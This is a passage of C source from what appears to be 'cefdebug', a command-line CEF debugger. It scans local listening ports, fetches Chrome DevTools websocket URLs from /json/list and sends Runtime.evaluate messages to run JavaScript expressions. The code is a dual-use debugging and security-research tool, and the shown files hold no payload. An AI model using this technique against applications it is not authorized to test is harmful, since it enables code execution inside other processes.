lwsl_info("dbg_eval_expression(%p, \"%s\");\n", dbg, expression); 250 | 251 | if (handle == NULL) 252 | goto error; 253 | 254 | if (expression == NULL) 255 | goto error; 256 | 257 | lwsl_info("dbg->size %d, dbg->pending %d, dbg->msgid %d\n", 258 | dbg->size, 259 | dbg->pending, 260 | dbg->msgid); 261 | 262 | escaped = url_escape_string(expression); 263 | 264 | // If there is a message still waiting to be sent, or 265 | // a response hasn't been received, just keep calling 266 | // lws_service(). 267 | while (dbg->size || dbg->pending) { 268 | lws_callback_on_writable(dbg->ctx); 269 | lws_service(lws_get_context(dbg->ctx), 0); 270 | } 271 | 272 | lwsl_info("ready to send message\n"); 273 | 274 | // OK, queue is clear. 275 | dbg->size = lws_snprintf(dbg->message, 276 | sizeof (dbg->message), 277 | kRuntimeEvaluate, 278 | dbg->msgid, 279 | escaped); 280 | dbg->pending = true; 281 | 282 | lwsl_info("final buffer \"%s\"\n", dbg->message); 283 | 284 | // If there is a message still waiting to be sent, or 285 | // a response hasn't been received, just keep calling 286 | // lws_service(). 287 | while (dbg->size || dbg->pending) { 288 | lws_callback_on_writable(dbg->ctx); 289 | lws_service(lws_get_context(dbg->ctx), 0); 290 | } 291 | 292 | if (dbg->description) { 293 | result = strdup(dbg->description); 294 | } else if (dbg->result) { 295 | result = strdup(dbg->result); 296 | } else { 297 | result = NULL; 298 | } 299 | 300 | free(dbg->result); 301 | free(dbg->description); 302 | dbg->result = NULL; 303 | dbg->description = NULL; 304 | 305 | error: 306 | free(escaped); 307 | 308 | return result; 309 | } 310 | -------------------------------------------------------------------------------- /ports.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #if defined(_WIN32) 7 | # include 8 | # include 9 | # include 10 | #elif defined(__linux__) 11 | # include 12 | # include 13 | # include 14 | # include 15 | #endif 16 | 17 | #include "libwebsockets.h" 18 | #include "cefscan.h" 19 | 20 | #if defined(_WIN32) 21 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist) 22 | { 23 | PMIB_TCPTABLE tcptable; 24 | uint32_t tablesize; 25 | int32_t result; 26 | 27 | *portlist = NULL; 28 | tablesize = 0; 29 | result = -1; 30 | 31 | if (GetTcpTable(NULL, &tablesize, FALSE) != ERROR_INSUFFICIENT_BUFFER) { 32 | goto error; 33 | } 34 | 35 | tcptable = _alloca(tablesize); 36 | 37 | if (GetTcpTable(tcptable, &tablesize, FALSE) != ERROR_SUCCESS) { 38 | goto error; 39 | } 40 | 41 | *portlist = calloc(tcptable->dwNumEntries + 1, sizeof **portlist); 42 | 43 | for (int i = result = 0; i < tcptable->dwNumEntries; i++) { 44 | if (tcptable->table[i].dwLocalAddr != inet_addr(localaddr)) 45 | continue; 46 | 47 | if (tcptable->table[i].dwState != MIB_TCP_STATE_LISTEN) 48 | continue; 49 | 50 | (*portlist)[result] = tcptable->table[i].dwLocalPort; 51 | (*portlist)[result] = ntohs((*portlist)[result]); 52 | result++; 53 | } 54 | 55 | error: 56 | return result; 57 | } 58 | #endif 59 | 60 | #if defined(__linux__) 61 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist) 62 | { 63 | FILE *tcptable; 64 | char *line; 65 | int32_t result; 66 | size_t len; 67 | 68 | line = NULL; 69 | len = 0; 70 | result = 0; 71 | *portlist = calloc(sizeof(uint16_t), 1); 72 | tcptable = fopen("/proc/net/tcp", "r"); 73 | 74 | // Skip the column headers. 75 | if (getline(&line, &len, tcptable) < 0) { 76 | goto error; 77 | } 78 | 79 | while (getline(&line, &len, tcptable) != -1) { 80 | uint32_t addr; 81 | uint16_t port; 82 | uint32_t state; 83 | int match; 84 | 85 | match = sscanf(line, "%*hhx: %x:%hx %*x:%*hx %02x", 86 | &addr, 87 | &port, 88 | &state); 89 | 90 | if (match != 3) 91 | continue; 92 | 93 | if (state != TCP_LISTEN) 94 | continue; 95 | 96 | if (addr != inet_addr(localaddr)) 97 | continue; 98 | 99 | *portlist = realloc(*portlist, (result + 2) * sizeof(uint16_t)); 100 | (*portlist)[result+0] = port; 101 | (*portlist)[result+1] = 0; 102 | result++; 103 | } 104 | 105 | error: 106 | 107 | if (tcptable) 108 | fclose(tcptable); 109 | if (result <= 0) 110 | free(*portlist); 111 | 112 | free(line); 113 | 114 | return result; 115 | } 116 | #endif 117 | -------------------------------------------------------------------------------- /version.rc: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | VS_VERSION_INFO VERSIONINFO 4 | FILEVERSION 1,0,0,0 5 | PRODUCTVERSION 1,0,0,0 6 | FILEFLAGSMASK VS_FFI_FILEFLAGSMASK 7 | FILEFLAGS 0 8 | FILEOS VOS__WINDOWS32 9 | FILETYPE VFT_APP 10 | { 11 | BLOCK "StringFileInfo" 12 | { 13 | BLOCK "000004b0" 14 | { 15 | VALUE "CompanyName", "Tavis Ormandy" 16 | VALUE "FileDescription", "Commandline CEF Debugger" 17 | VALUE "ProductName", "cefdebug" 18 | VALUE "Comment", "https://github.com/taviso/cefdebug" 19 | } 20 | } 21 | BLOCK "VarFileInfo" 22 | { 23 | VALUE "Translation", 0, 1200 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /wsurls.c: -------------------------------------------------------------------------------- 1 | #include 2 | #if defined(_WIN32) 3 | #include 4 | #include 5 | #endif 6 | 7 | #include "libwebsockets.h" 8 | #include "cefscan.h" 9 | 10 | // The JSON path for the websocket URL 11 | // https://chromedevtools.github.io/devtools-protocol/ 12 | static const char kDebuggerPath[] = "pages[].webSocketDebuggerUrl"; 13 | 14 | // libwebsockets callback for HTTP events. 15 | static int callback_http(struct lws *wsi, 16 | enum lws_callback_reasons reason, 17 | void *user, 18 | void *in, 19 | size_t len); 20 | 21 | static const struct lws_protocols protocols[] = { 22 | { "http", callback_http, 0, 0 }, 23 | { 0 } 24 | }; 25 | 26 | static uint32_t ActiveConnect; 27 | 28 | static signed char callback_json(struct lejp_ctx *ctx, char reason) 29 | { 30 | char ***wsurls = ctx->user; 31 | uint32_t urlcount; 32 | 33 | // The only event I'm interested in is when a string value has been seen. 34 | if (reason != LEJPCB_VAL_STR_END) 35 | return 0; 36 | 37 | lwsl_info("inspecting key %s\n", ctx->path); 38 | 39 | if (strcmp(ctx->path, kDebuggerPath) != 0) 40 | return 0; 41 | 42 | lwsl_info("key matches, value is %s\n", ctx->buf); 43 | 44 | for (urlcount = 0; (*wsurls)[urlcount]; urlcount++) 45 | ; 46 | 47 | // Append to the list of known URLs. 48 | *wsurls = realloc(*wsurls, (urlcount + 2) * sizeof(char *)); 49 | (*wsurls)[urlcount++] = strdup(ctx->buf); 50 | (*wsurls)[urlcount++] = NULL; 51 | 52 | return 0; 53 | } 54 | 55 | static int callback_http(struct lws *wsi, 56 | enum lws_callback_reasons reason, 57 | void *user, 58 | void *in, 59 | size_t len) 60 | { 61 | lwsl_debug("callback_http() ctx %p, reason %u\n", wsi, reason); 62 | 63 | switch (reason) { 64 | case LWS_CALLBACK_WSI_DESTROY: 65 | // Update number of active connections. 66 | ActiveConnect--; 67 | free(user); 68 | break; 69 | case LWS_CALLBACK_WSI_CREATE: 70 | // Update number of active connections. 71 | ActiveConnect++; 72 | break; 73 | case LWS_CALLBACK_CLIENT_CONNECTION_ERROR: 74 | lwsl_info("ctx %p connection error: %s\n", wsi, in); 75 | break; 76 | case LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP: 77 | lwsl_info("ctx %p http session establised, status %d\n", 78 | wsi, 79 | lws_http_client_http_response(wsi)); 80 | 81 | if (lws_http_client_http_response(wsi) != HTTP_STATUS_OK) { 82 | return -1; 83 | } 84 | 85 | // Add JSON Preamble, or the libwebsocket parser will reject it. 86 | lejp_parse(user, "{ \"pages\": ", 11); 87 | break; 88 | 89 | case LWS_CALLBACK_RECEIVE_CLIENT_HTTP_READ: 90 | // Stream data to JSON parser. 91 | if (lejp_parse(user, in, len) < 0) { 92 | return -1; 93 | } 94 | 95 | break; 96 | case LWS_CALLBACK_RECEIVE_CLIENT_HTTP: { 97 | // This is a quirk of libwebsocket, you must guarantee buffers you 98 | // provide have LWS_PRE bytes behind them (?!?). 99 | // https://libwebsockets.org/lws-api-doc-master/html/group__sending-data.html#gafd5fdd285a0e25ba7e3e1051deec1001 100 | char buffer[LWS_PRE + 4096]; 101 | char *px = &buffer[LWS_PRE]; 102 | int lenx = sizeof(buffer) - LWS_PRE; 103 | 104 | if (lws_http_client_read(wsi, &px, &lenx) < 0) { 105 | return -1; 106 | } 107 | 108 | return 0; 109 | } 110 | 111 | case LWS_CALLBACK_COMPLETED_CLIENT_HTTP: 112 | // Cleanup JSON parser, I don't care if it fails. 113 | lejp_parse(user, "}", 1); 114 | lejp_destruct(user); 115 | break; 116 | } 117 | 118 | return lws_callback_http_dummy(wsi, reason, user, in, len); 119 | } 120 | 121 | int32_t get_websocket_urls(char *hostname, uint16_t *portlist, char **wsurls[]) 122 | { 123 | int32_t result; 124 | struct lws_context *context; 125 | struct lws_context_creation_info info = { 126 | .port = CONTEXT_PORT_NO_LISTEN, 127 | .protocols = protocols, 128 | }; 129 | 130 | lwsl_info("get_websocket_urls(\"%s\", %p, %p);\n", hostname, portlist, wsurls); 131 | 132 | result = -1; 133 | context = lws_create_context(&info); 134 | *wsurls = calloc(1, sizeof (char *)); 135 | 136 | for (; *portlist; portlist++) { 137 | struct lws *ctx; 138 | struct lejp_ctx *jsctx; 139 | struct lws_client_connect_info conn = { 140 | .context = context, 141 | .port = *portlist, 142 | .address = hostname, 143 | .alpn = "http/1.1", 144 | .path = "/json/list", 145 | .method = "GET", 146 | .protocol = "http", 147 | }; 148 | 149 | jsctx = malloc(sizeof *jsctx); 150 | conn.userdata = jsctx; 151 | conn.host = calloc(strlen(hostname) + 1 + 5 + 1, 1); 152 | 153 | #pragma warning(suppress: 4090) 154 | sprintf(conn.host, "%s:%u", hostname, conn.port); 155 | 156 | lejp_construct(jsctx, callback_json, wsurls, NULL, 0); 157 | 158 | ctx = lws_client_connect_via_info(&conn); 159 | 160 | lwsl_info("connect %s, ctx %p\n", conn.host, ctx); 161 | 162 | #pragma warning(suppress: 4090) 163 | free(conn.host); 164 | } 165 | 166 | while (lws_service(context, 0) >= 0 && ActiveConnect) 167 | lwsl_info("waiting for %u jobs to complete\n", ActiveConnect); 168 | 169 | for (result = 0; (*wsurls)[result]; result++) { 170 | lwsl_info("discovered ws url %s\n", (*wsurls)[result]); 171 | } 172 | 173 | lwsl_info("total ws urls discovered %d\n", result); 174 | 175 | error: 176 | lws_context_destroy(context); 177 | return result; 178 | } 179 | --------------------------------------------------------------------------------